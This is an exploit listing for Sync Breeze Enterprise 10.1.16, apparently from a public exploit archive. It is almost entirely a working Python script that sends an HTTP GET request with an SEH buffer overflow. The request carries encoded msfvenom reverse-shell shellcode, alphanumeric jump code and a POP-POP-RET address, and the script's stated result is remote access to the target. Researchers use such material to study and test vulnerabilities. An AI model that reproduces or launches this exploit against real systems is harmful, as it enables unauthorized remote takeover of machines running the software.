Sync Breeze Enterprise 10.1.16 SEH Overflow

Sync Breeze Enterprise version 10.1.16 GET request SEH overflow exploit.


MD5 | 7a8b6d116bd658a23c1459d137a8d833

#!/usr/bin/env python
#
# Exploit Title : Sync Breeze Enterprise v10.1.16 0day
# Date : 10/11/2017
# Vendor HomePage : http://www.syncbreeze.com
# Exploit Author : Milton Valencia (wetw0rk)
# Software : http://www.syncbreeze.com/downloads.html
# Version : 10.1.16
# Tested on : Windows 7 (x86)
#
# Description : Sync Breeze Enterprise 10.1.16 suffers from a SEH based
# vulnerability. Successful exploitation results in remote
# access.
#
# Special Greetz : Corelan, Offsec, Abatchy (top llama), Seamus, N4ss4r
# Ryan, Miguel (best boss..), everyone at https://netsecfocus.slack.com/
#

import sys, socket, struct

try:
host = sys.argv[1]
port = int(sys.argv[2])

except IndexError:

print "Usage: %s <target> <port>" % sys.argv[0]
print "Example: %s 192.168.0.16 80" % sys.argv[0]
sys.exit(0)

print "[->] Attacking %s:%d get that handler up" % (host,port)

# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.16 LPORT=443
# -e x86/alpha_upper -b "\x00\x0a\x0d" -f c
shellcode = (
"\x89\xe3\xda\xdf\xd9\x73\xf4\x5e\x56\x59\x49\x49\x49\x49\x43"
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34"
"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41"
"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58"
"\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x5a\x48\x4c\x42\x33\x30"
"\x35\x50\x53\x30\x33\x50\x4b\x39\x4a\x45\x46\x51\x39\x50\x35"
"\x34\x4c\x4b\x30\x50\x46\x50\x4c\x4b\x46\x32\x44\x4c\x4c\x4b"
"\x36\x32\x42\x34\x4c\x4b\x53\x42\x46\x48\x54\x4f\x4e\x57\x30"
"\x4a\x56\x46\x56\x51\x4b\x4f\x4e\x4c\x37\x4c\x55\x31\x43\x4c"
"\x34\x42\x36\x4c\x47\x50\x59\x51\x58\x4f\x44\x4d\x43\x31\x38"
"\x47\x4d\x32\x5a\x52\x50\x52\x46\x37\x4c\x4b\x30\x52\x42\x30"
"\x4c\x4b\x31\x5a\x37\x4c\x4c\x4b\x50\x4c\x54\x51\x54\x38\x4b"
"\x53\x30\x48\x55\x51\x38\x51\x50\x51\x4c\x4b\x51\x49\x37\x50"
"\x35\x51\x59\x43\x4c\x4b\x50\x49\x54\x58\x4b\x53\x57\x4a\x30"
"\x49\x4c\x4b\x46\x54\x4c\x4b\x53\x31\x59\x46\x50\x31\x4b\x4f"
"\x4e\x4c\x59\x51\x48\x4f\x34\x4d\x45\x51\x38\x47\x57\x48\x4b"
"\x50\x53\x45\x5a\x56\x43\x33\x53\x4d\x4c\x38\x47\x4b\x43\x4d"
"\x46\x44\x53\x45\x4a\x44\x36\x38\x4c\x4b\x31\x48\x46\x44\x35"
"\x51\x4e\x33\x52\x46\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x50\x58"
"\x45\x4c\x33\x31\x48\x53\x4c\x4b\x44\x44\x4c\x4b\x43\x31\x58"
"\x50\x4c\x49\x50\x44\x36\x44\x36\x44\x51\x4b\x51\x4b\x35\x31"
"\x31\x49\x31\x4a\x36\x31\x4b\x4f\x4d\x30\x31\x4f\x51\x4f\x31"
"\x4a\x4c\x4b\x55\x42\x5a\x4b\x4c\x4d\x31\x4d\x32\x48\x46\x53"
"\x50\x32\x53\x30\x35\x50\x33\x58\x34\x37\x34\x33\x30\x32\x31"
"\x4f\x56\x34\x53\x58\x50\x4c\x33\x47\x46\x46\x45\x57\x4b\x4f"
"\x39\x45\x38\x38\x5a\x30\x35\x51\x45\x50\x35\x50\x36\x49\x49"
"\x54\x46\x34\x46\x30\x35\x38\x37\x59\x4d\x50\x42\x4b\x33\x30"
"\x4b\x4f\x59\x45\x56\x30\x56\x30\x30\x50\x36\x30\x47\x30\x36"
"\x30\x57\x30\x46\x30\x42\x48\x5a\x4a\x44\x4f\x39\x4f\x4d\x30"
"\x4b\x4f\x4e\x35\x5a\x37\x43\x5a\x44\x45\x32\x48\x39\x50\x4f"
"\x58\x45\x50\x42\x30\x32\x48\x43\x32\x43\x30\x45\x51\x4f\x4b"
"\x4d\x59\x4a\x46\x43\x5a\x32\x30\x31\x46\x51\x47\x43\x58\x4d"
"\x49\x4e\x45\x54\x34\x33\x51\x4b\x4f\x48\x55\x4d\x55\x49\x50"
"\x54\x34\x34\x4c\x4b\x4f\x50\x4e\x55\x58\x43\x45\x4a\x4c\x33"
"\x58\x4c\x30\x38\x35\x4e\x42\x31\x46\x4b\x4f\x49\x45\x43\x58"
"\x55\x33\x52\x4d\x33\x54\x35\x50\x4d\x59\x5a\x43\x46\x37\x30"
"\x57\x51\x47\x50\x31\x5a\x56\x32\x4a\x52\x32\x51\x49\x36\x36"
"\x4d\x32\x4b\x4d\x52\x46\x4f\x37\x51\x54\x31\x34\x37\x4c\x33"
"\x31\x55\x51\x4c\x4d\x50\x44\x31\x34\x42\x30\x58\x46\x33\x30"
"\x47\x34\x31\x44\x46\x30\x31\x46\x56\x36\x46\x36\x51\x56\x46"
"\x36\x50\x4e\x50\x56\x56\x36\x31\x43\x30\x56\x53\x58\x32\x59"
"\x58\x4c\x47\x4f\x4b\x36\x4b\x4f\x4e\x35\x4c\x49\x4b\x50\x30"
"\x4e\x46\x36\x50\x46\x4b\x4f\x36\x50\x42\x48\x53\x38\x4b\x37"
"\x35\x4d\x45\x30\x4b\x4f\x59\x45\x4f\x4b\x4c\x30\x38\x35\x4f"
"\x52\x56\x36\x33\x58\x4f\x56\x4a\x35\x4f\x4d\x4d\x4d\x4b\x4f"
"\x48\x55\x57\x4c\x34\x46\x33\x4c\x34\x4a\x4d\x50\x4b\x4b\x4d"
"\x30\x44\x35\x33\x35\x4f\x4b\x51\x57\x34\x53\x42\x52\x42\x4f"
"\x53\x5a\x35\x50\x46\x33\x4b\x4f\x48\x55\x41\x41"
)

# objdump2shellcode -d shellcode -f python -c -v jumpcode
jumpcode = ""
jumpcode += "\x25\x4a\x4d\x4e\x55" # and eax,0x554e4d4a
jumpcode += "\x25\x35\x32\x31\x2a" # and eax,0x2a313235
jumpcode += "\x2d\x37\x37\x37\x37" # sub eax,0x37373737
jumpcode += "\x2d\x74\x74\x74\x74" # sub eax,0x74747474
jumpcode += "\x2d\x55\x54\x55\x70" # sub eax,0x70555455
jumpcode += "\x50" # push eax
jumpcode += "\x25\x4a\x4d\x4e\x55" # and eax,0x554e4d4a
jumpcode += "\x25\x35\x32\x31\x2a" # and eax,0x2a313235
jumpcode += "\x2d\x2d\x76\x7a\x63" # sub eax,0x637a762d
jumpcode += "\x2d\x2d\x76\x7a\x30" # sub eax,0x307a762d
jumpcode += "\x2d\x25\x50\x7a\x30" # sub eax,0x307a5025
jumpcode += "\x50" # push eax
jumpcode += "\xff\xe4" # jmp esp

offset = "A" * (2495-len(shellcode)) # offset to nSEH
nSEH = "\x74\x06\x75\x06" # JE/JNZ -> jumpcode
SEH = struct.pack('<L', 0x1001C65C) # POP,POP,RET (libspp.dll)
trigger = "D" * (9067 - len(
jumpcode +
offset +
nSEH +
SEH
)
)

buffer = shellcode + offset + nSEH + SEH + jumpcode + trigger

vulnREQ = "GET /%s HTTP/1.1\r\n\r\n" % (buffer)
print "[->] sending poisonous bamboo"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
sock.send(vulnREQ)

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